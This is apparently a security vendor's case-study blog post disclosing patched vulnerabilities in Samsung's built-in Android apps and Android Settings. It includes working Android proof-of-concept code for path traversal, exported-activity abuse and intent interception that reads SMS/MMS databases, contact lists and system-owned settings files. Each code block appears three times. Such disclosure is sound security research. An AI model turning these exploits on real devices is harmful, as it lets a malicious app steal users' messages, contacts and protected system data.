No headings found on page

Case Study

Two weeks of securing Samsung devices: Part 2
Two weeks of securing Samsung devices: Part 2

As mentioned in the first part of this series, Oversecured spent two weeks finding security bugs in Samsung’s built-in apps. In this part, we will go over bugs that could have allowed an attacker to:

  • read & write arbitrary files in the name of the system

  • read arbitrary telephone-related files from the Android user’s phone, such as their call history and SMS/MMS

  • read & modify the user’s contact data

  • steal the user’s messages from the Samsung Messages app

Vulnerability table:

CVE

SVE

AFFECTED APP

DESCRIPTION

REWARD AMOUNT

CVE-2021-25426

SVE-2021-20903

Samsung Messages (com.samsung.android.messaging)

Theft of arbitrary files

$1050

CVE-2021-25410

SVE-2021-20702

CallBGProvider (com.samsung.android.callbgprovider)

Read arbitrary files as system (UID 1001) user

$2180

CVE-2021-25413

SVE-2021-20877

Samsung Contacts (com.samsung.android.app.contacts)

Gaining access to arbitrary* content providers

$2250

CVE-2021-25414

SVE-2021-20879

Samsung Contacts (com.samsung.android.app.contacts)

Theft/overwrite of arbitrary files

$2250

CVE-2021-25440

SVE-2021-20722

FactoryCameraFB (com.sec.factory.camera)

Read/write arbitrary files as system (UID 1000) user

$10310

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.

File theft in Samsung Messages

After scanning the Samsung Messages app, we received an alert about the possibility for theft of arbitrary files:

We could pass an attacker-controlled URI through the SmsViewerData.f25878w field and the app would then save it to the /sdcard/Android/data/com.samsung.android.messaging/cache/ folder when the user pressed the Share message button.

To access arbitrary files, we used an unsafe content provider:

Proof of Concept:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    String fileName = "evil.mp4";

    SmsViewerData data = new SmsViewerData();
    data.f25878w = Uri.parse("content://com.samsung.android.messaging.ui.file/root-path/data/data/com.samsung.android.messaging/databases/message_content.db");
    data.f25879x = fileName;
    data.f25871p = 1;
    data.f25864i = 12;
    data.f25877v = "video/mp4";

    Intent i = new Intent();
    i.setClassName("com.samsung.android.messaging", "com.samsung.android.messaging.ui.view.viewer.SmsViewerActivity");
    i.putExtra("xms_viewer_data", data);
    startActivity(i);

    new Handler().postDelayed(() -> {
        String path = getExternalCacheDir().getAbsolutePath().replace(getPackageName(), "com.samsung.android.messaging");
        dumpFile(new File(path, fileName).getAbsolutePath());
    }, 15000);
}

private void dumpFile(String path) {
    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        Log.d("evil", "Error", th);
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    String fileName = "evil.mp4";

    SmsViewerData data = new SmsViewerData();
    data.f25878w = Uri.parse("content://com.samsung.android.messaging.ui.file/root-path/data/data/com.samsung.android.messaging/databases/message_content.db");
    data.f25879x = fileName;
    data.f25871p = 1;
    data.f25864i = 12;
    data.f25877v = "video/mp4";

    Intent i = new Intent();
    i.setClassName("com.samsung.android.messaging", "com.samsung.android.messaging.ui.view.viewer.SmsViewerActivity");
    i.putExtra("xms_viewer_data", data);
    startActivity(i);

    new Handler().postDelayed(() -> {
        String path = getExternalCacheDir().getAbsolutePath().replace(getPackageName(), "com.samsung.android.messaging");
        dumpFile(new File(path, fileName).getAbsolutePath());
    }, 15000);
}

private void dumpFile(String path) {
    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        Log.d("evil", "Error", th);
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    String fileName = "evil.mp4";

    SmsViewerData data = new SmsViewerData();
    data.f25878w = Uri.parse("content://com.samsung.android.messaging.ui.file/root-path/data/data/com.samsung.android.messaging/databases/message_content.db");
    data.f25879x = fileName;
    data.f25871p = 1;
    data.f25864i = 12;
    data.f25877v = "video/mp4";

    Intent i = new Intent();
    i.setClassName("com.samsung.android.messaging", "com.samsung.android.messaging.ui.view.viewer.SmsViewerActivity");
    i.putExtra("xms_viewer_data", data);
    startActivity(i);

    new Handler().postDelayed(() -> {
        String path = getExternalCacheDir().getAbsolutePath().replace(getPackageName(), "com.samsung.android.messaging");
        dumpFile(new File(path, fileName).getAbsolutePath());
    }, 15000);
}

private void dumpFile(String path) {
    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        Log.d("evil", "Error", th);
    }
}

Since the latest Android versions do not allow accessing external cache files, we made use of the dumpFile method to bypass this protection in our PoC.

File theft from UID 1001 in CallBGProvider

The CallBGProvider provider is declared with the permission com.samsung.android.callbgprovider.PERMISSION, which is not properly protected:

<permission android:name="com.samsung.android.callbgprovider.PERMISSION" />
<permission android:name="com.samsung.android.callbgprovider.PERMISSION" />
<permission android:name="com.samsung.android.callbgprovider.PERMISSION" />

If android:protectionLevel is not specifically set by the developer, it gets defined as normal by default – which would allow any third-party apps to access the resource.

The above provider is also vulnerable to path traversal due to the use of Uri.getLastPathSegment(), which automatically decodes the value.

Proof of Concept

For reading the database containing SMS/MMS messages.

File AndroidManifest.xml:

<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION" />
<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION" />
<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION" />

File MainActivity.java:

try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "get_gradation_contents", "", new Bundle());

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2F..%2F..%2F.." + Uri.encode(dbPath.getAbsolutePath()));

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    }
} catch (Throwable th) {
    throw new RuntimeException(th);
}
try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "get_gradation_contents", "", new Bundle());

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2F..%2F..%2F.." + Uri.encode(dbPath.getAbsolutePath()));

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    }
} catch (Throwable th) {
    throw new RuntimeException(th);
}
try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "get_gradation_contents", "", new Bundle());

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2F..%2F..%2F.." + Uri.encode(dbPath.getAbsolutePath()));

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    }
} catch (Throwable th) {
    throw new RuntimeException(th);
}

The code in CallBGProvider.call() helps create directories like videosimages, etc., which don’t exist by default. Therefore, if getContentResolver().call() wasn’t present in our PoC, then calling ParcelFileDescriptor.open() would have thrown a FileNotFoundException error.

File theft and writing to Samsung Contacts

The activity com.samsung.android.contacts.editor.SetProfilePhotoActivity in the Samsung Contacts app is exported. Moreover, it also accepts two attacker-controlled URIs:

  1. shared_photo_uri for getting content

  2. temp_photo_uri for saving content

To access arbitrary files, we used the content provider com.samsung.android.scloud.oem.lib.ClientProvider with the authority com.samsung.contacts.backup. This, in turn, provided us with read/write access to arbitrary files specified in the path section of the URI.

Proof of Concept

File AndroidManifest.xml:

<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:exported="true" />
<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:exported="true" />
<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:exported="true" />

File MainActivity.java:

String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
    try (InputStream inputStream = new FileInputStream(path)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}, 1000);
String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
    try (InputStream inputStream = new FileInputStream(path)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}, 1000);
String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
    try (InputStream inputStream = new FileInputStream(path)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}, 1000);

File MyContentProvider.java:

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    try {
        return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
    } catch (Throwable th) {
        return null;
    }
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    try {
        return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
    } catch (Throwable th) {
        return null;
    }
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    try {
        return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
    } catch (Throwable th) {
        return null;
    }
}

Accessing arbitrary Content Providers in Samsung Contacts

This attack uses the same activity (com.samsung.android.contacts.editor.SetProfilePhotoActivity) as the previous vulnerability.

The flow of this attack looks like this:

  1. An invalid URI is specified by an attacker in temp_photo_uri

  2. The app automatically launches an implicit intent with the Intent.FLAG_GRANT_READ_URI_PERMISSION & Intent.FLAG_GRANT_WRITE_URI_PERMISSION flags

  3. The attacker-controlled value in cropped_photo_uri is passed to the Intent’s ClipData.

When an attacker intercepts the implicit intent, they will automatically have read/write access to the URI.

Proof of Concept

For reading a complete contact list.

File AndroidManifest.xml

<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="com.android.camera.action.CROP" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:mimeType="*/*" />
        <data android:mimeType="image/*" />
        <data android:mimeType="test/1337" />
    </intent-filter>
</activity>
<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="com.android.camera.action.CROP" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:mimeType="*/*" />
        <data android:mimeType="image/*" />
        <data android:mimeType="test/1337" />
    </intent-filter>
</activity>
<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="com.android.camera.action.CROP" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:mimeType="*/*" />
        <data android:mimeType="image/*" />
        <data android:mimeType="test/1337" />
    </intent-filter>
</activity>

File MainActivity.java:

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);
Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);
Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);

File PickerActivity.java:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
        dump(getIntent().getClipData().getItemAt(0).getUri());
    }

    finish();
}

public void dump(Uri uri) {
    Cursor cursor = getContentResolver().query(uri, null, null, null, null);
    if (cursor.moveToFirst()) {
        do {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                if (sb.length() > 0) {
                    sb.append(", ");
                }
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
            }
            Log.d("evil", sb.toString());
        } while (cursor.moveToNext());
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
        dump(getIntent().getClipData().getItemAt(0).getUri());
    }

    finish();
}

public void dump(Uri uri) {
    Cursor cursor = getContentResolver().query(uri, null, null, null, null);
    if (cursor.moveToFirst()) {
        do {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                if (sb.length() > 0) {
                    sb.append(", ");
                }
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
            }
            Log.d("evil", sb.toString());
        } while (cursor.moveToNext());
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
        dump(getIntent().getClipData().getItemAt(0).getUri());
    }

    finish();
}

public void dump(Uri uri) {
    Cursor cursor = getContentResolver().query(uri, null, null, null, null);
    if (cursor.moveToFirst()) {
        do {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                if (sb.length() > 0) {
                    sb.append(", ");
                }
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
            }
            Log.d("evil", sb.toString());
        } while (cursor.moveToNext());
    }
}

File theft and write from UID 1000 in FactoryCameraFB

The FactoryCameraFB app contained vulnerable code that allowed access to arbitrary* content providers:

It should be noted that this app has a property called android:sharedUserId="android.uid.system", which makes it a system application.

As described in the vulnerability in Android Settings, we used a content provider in the com.sec.imsservice app, which provided access to arbitrary files:

For testing, we used the file /data/system/users/0/settings_secure.xml (which has these permissions: -rw ------- 1 system system).

Proof of Concept

As a result of which the content of the file was printed to the logs.

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
    i.putExtra("testtype", "NCAMTEST");
    i.putExtra("arg1", "0");
    i.putExtra("arg2", "1");
    i.putExtra("arg3", "2");
    i.putExtra("arg4", "0");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
    i.putExtra("testtype", "NCAMTEST");
    i.putExtra("arg1", "0");
    i.putExtra("arg2", "1");
    i.putExtra("arg3", "2");
    i.putExtra("arg4", "0");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
    i.putExtra("testtype", "NCAMTEST");
    i.putExtra("arg1", "0");
    i.putExtra("arg2", "1");
    i.putExtra("arg3", "2");
    i.putExtra("arg4", "0");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

The vulnerability in Android Settings

In the previous article, we published information about a vulnerability in Android Settings for which we received a $2,000 award from Google AOSP.

The activity com.android.settings.wifi.WifiDialogActivity is exported (however, it requests the sender to have android.permission.CHANGE_WIFI_STATE permission). When a user clicks on the QR code scan icon, it launches an implicit intent and passes its activity result to its own setResult(code, attacker_controlled_intent).

Proof of Concept

To access any system files on Samsung devices.

File AndroidManifest.xml:

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

File MainActivity.java:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setClassName("com.android.settings", "com.android.settings.wifi.WifiDialogActivity");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setClassName("com.android.settings", "com.android.settings.wifi.WifiDialogActivity");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setClassName("com.android.settings", "com.android.settings.wifi.WifiDialogActivity");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

File PickerActivity.java:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent("evil");
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    setResult(-1, i);
    finish();
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent("evil");
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    setResult(-1, i);
    finish();
}
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent("evil");
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    setResult(-1, i);
    finish();
}

Keep reading

Keep reading

Book a personalized demo

During the demo with our cybersecurity experts you will get:

A free trial scan of your app

An analysis of your SAST and DAST findings

Practical insights on mobile security of your app

Book a personalized demo

During the demo with our cybersecurity experts you will get:

A free trial scan of your app

An analysis of your SAST and DAST findings

Practical insights on mobile security of your app

Book a personalized demo

During the demo with our cybersecurity experts you will get:

A free trial scan of your app

An analysis of your SAST and DAST findings

Practical insights on mobile security of your app